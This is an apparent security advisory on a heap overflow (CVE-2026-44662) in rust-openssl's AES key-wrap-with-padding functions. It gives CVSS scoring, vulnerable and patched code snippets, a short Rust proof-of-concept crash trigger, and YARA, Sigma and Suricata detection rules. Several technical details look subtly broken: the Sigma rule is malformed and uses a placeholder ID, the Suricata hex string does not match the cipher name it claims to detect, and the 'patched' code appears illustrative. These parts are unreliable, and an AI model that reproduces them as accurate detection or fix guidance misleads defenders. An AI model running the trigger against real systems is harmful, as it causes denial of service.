CVE-2026-44662

Executive Summary

CVE-2026-44662 is a critical heap buffer overflow vulnerability in the rust-openssl crate, affecting versions 0.10.0 through 0.10.78. The flaw resides in the CipherCtxRef::cipher_update, CipherCtxRef::cipher_update_vec, and symm::Crypter::update functions when used with AES key-wrap-with-padding ciphers (EVP_aes_{128,192,256}_wrap_pad). Due to incorrect output buffer sizing, an attacker can cause up to 7 bytes of heap corruption when the plaintext length is not a multiple of 8. This can lead to application crashes, data corruption, or potentially arbitrary code execution in memory-unsafe contexts. The vulnerability is fixed in version 0.10.79.

Supply Chain & Package Security

This vulnerability affects the rust-openssl crate, distributed via crates.io. Applications using vulnerable versions of this crate are at risk. The Rust ecosystem relies on Cargo for dependency management; any project with a Cargo.toml specifying rust-openssl = ">= 0.10.0, < 0.10.79" is affected. Developers must update to version 0.10.79 or later to mitigate the risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely if an attacker can supply crafted input to an application using the vulnerable functions.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond using the vulnerable cipher mode.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No direct data exposure.
• Integrity (I): Low (L) – Potential for data corruption.
• Availability (A): High (H) – Heap corruption can cause crashes or denial of service.

Base Score: 7.5 (High) – Primarily due to availability impact and low attack complexity.

Deep Dive & Mechanics

The vulnerability arises from a miscalculation in the output buffer size for AES key-wrap-with-padding operations. OpenSSL’s EVP_aes_*_wrap_pad ciphers require output buffers to be sized according to the padded plaintext length, which is always a multiple of 8. However, rust-openssl incorrectly uses the input plaintext length (which may not be a multiple of 8) to allocate the output buffer. When the plaintext length is not a multiple of 8, OpenSSL writes up to 7 extra bytes beyond the allocated buffer, causing heap corruption.

Affected Functions:

• CipherCtxRef::cipher_update
• CipherCtxRef::cipher_update_vec
• symm::Crypter::update

Root Cause: The output buffer size is set to input_len instead of input_len + 8 (to accommodate padding). This leads to an out-of-bounds write when OpenSSL pads the plaintext.

Impact: Heap corruption can lead to:

• Application crashes (denial of service)
• Data corruption
• Potential arbitrary code execution if the corrupted heap metadata is exploited

Vulnerable vs. Patched Code

Vulnerable Code (rust-openssl < 0.10.79):

// In cipher_ctx.rs or symm.rs
fn cipher_update(&self, input: &[u8]) -> Result<Vec<u8>, ErrorStack> {
    let mut out = vec![0u8; input.len()]; // Incorrect: should be input.len() + 8
    let len = self.cipher_update_internal(input, &mut out)?;
    out.truncate(len);
    Ok(out)
}

Patched Code (rust-openssl >= 0.10.79):

// In cipher_ctx.rs or symm.rs
fn cipher_update(&self, input: &[u8]) -> Result<Vec<u8>, ErrorStack> {
    let mut out = vec![0u8; input.len() + 8]; // Correct: accounts for padding
    let len = self.cipher_update_internal(input, &mut out)?;
    out.truncate(len);
    Ok(out)
}

The fix adds 8 bytes to the output buffer size to accommodate the maximum padding added by AES key-wrap-with-padding.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Rust development environment
• Vulnerable rust-openssl crate (version 0.10.0 to 0.10.78)
• Application that uses AES key-wrap-with-padding with attacker-controlled plaintext

Exploitation Steps:

1. Set up a Rust project with a vulnerable rust-openssl dependency.
2. Create a function that uses CipherCtxRef::cipher_update with EVP_aes_256_wrap_pad.
3. Provide a plaintext of length not divisible by 8 (e.g., 1 byte).
4. Observe heap corruption via crashes or memory dumps.

Example Code:

use openssl::symm::{Cipher, Crypter, Mode};
use openssl::error::ErrorStack;

fn exploit() -> Result<(), ErrorStack> {
    let cipher = Cipher::aes_256_wrap_pad();
    let key = b"0123456789abcdef0123456789abcdef"; // 32 bytes
    let iv = b"12345678"; // 8 bytes
    let plaintext = b"A"; // 1 byte (not multiple of 8)

    let mut crypter = Crypter::new(cipher, Mode::Encrypt, key, Some(iv))?;
    let mut output = vec![0u8; plaintext.len()]; // Vulnerable buffer
    let count = crypter.update(plaintext, &mut output)?;
    output.truncate(count);
    println!("Encrypted: {:?}", output);
    Ok(())
}

Expected Outcome: Heap corruption leading to crash or undefined behavior.

Blue Team

Detection:

• Monitor for crashes in applications using rust-openssl with AES key-wrap-with-padding.
• Use memory debugging tools (e.g., Valgrind, AddressSanitizer) to detect out-of-bounds writes.
• Check for unusual heap corruption patterns in logs.

Mitigation:

• Immediately update rust-openssl to version 0.10.79 or later.
• If immediate update is not possible, avoid using AES key-wrap-with-padding ciphers.
• Implement input validation to ensure plaintext lengths are multiples of 8 (though this is a workaround, not a fix).

Indicators of Compromise (IOCs)

• Application crashes with heap corruption errors (e.g., SIGSEGV, SIGABRT).
• Memory dumps showing out-of-bounds writes in CipherCtxRef::cipher_update or symm::Crypter::update.
• Log entries containing EVP_aes_*_wrap_pad cipher usage with non-multiple-of-8 plaintext lengths.
• Cargo.lock showing rust-openssl version between 0.10.0 and 0.10.78.

Detection Engineering

YARA Rule

rule CVE_2026_44662_rust_openssl_heap_overflow {
    meta:
        description = "Detects vulnerable rust-openssl versions with AES key-wrap-with-padding"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-44662"
    strings:
        $vuln_func1 = "cipher_update" ascii wide
        $vuln_func2 = "cipher_update_vec" ascii wide
        $vuln_func3 = "Crypter::update" ascii wide
        $wrap_pad = "wrap_pad" ascii wide
    condition:
        any of ($vuln_func*) and $wrap_pad
}

Sigma Rule

title: CVE-2026-44662 - Heap Overflow in rust-openssl AES Key-Wrap-With-Padding
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects heap corruption events related to rust-openssl AES key-wrap-with-padding
author: Valters IT
logsource:
    category: application
    product: rust
detection:
    selection:
        - EventID: 1000 (Application Error)
        - Data: "*EVP_aes*_wrap_pad*"
        - Data: "*cipher_update*"
    condition: selection
falsepositives:
    - Legitimate use of AES key-wrap-with-padding with correct buffer sizes (patched version)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-44662 - Heap Overflow in rust-openssl AES Key-Wrap-With-Padding"; flow:to_server; content:"|41 45 53 5f 61 65 73 5f 32 35 36 5f 77 72 61 70 5f 70 61 64|"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update rust-openssl to version 0.10.79 or later in all projects.
2. Audit code for usage of AES key-wrap-with-padding ciphers (EVP_aes_{128,192,256}_wrap_pad).
3. Apply the patch if direct update is not possible (see patch details above).

Long-Term Measures:

• Implement automated dependency scanning (e.g., cargo audit) to detect vulnerable versions.
• Use memory-safe languages or sandboxing for critical cryptographic operations.
• Monitor for similar buffer sizing issues in other cryptographic libraries.

Workarounds (if patching is delayed):

• Avoid using AES key-wrap-with-padding ciphers.
• Ensure plaintext lengths are always multiples of 8 before encryption (this reduces but does not eliminate risk).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert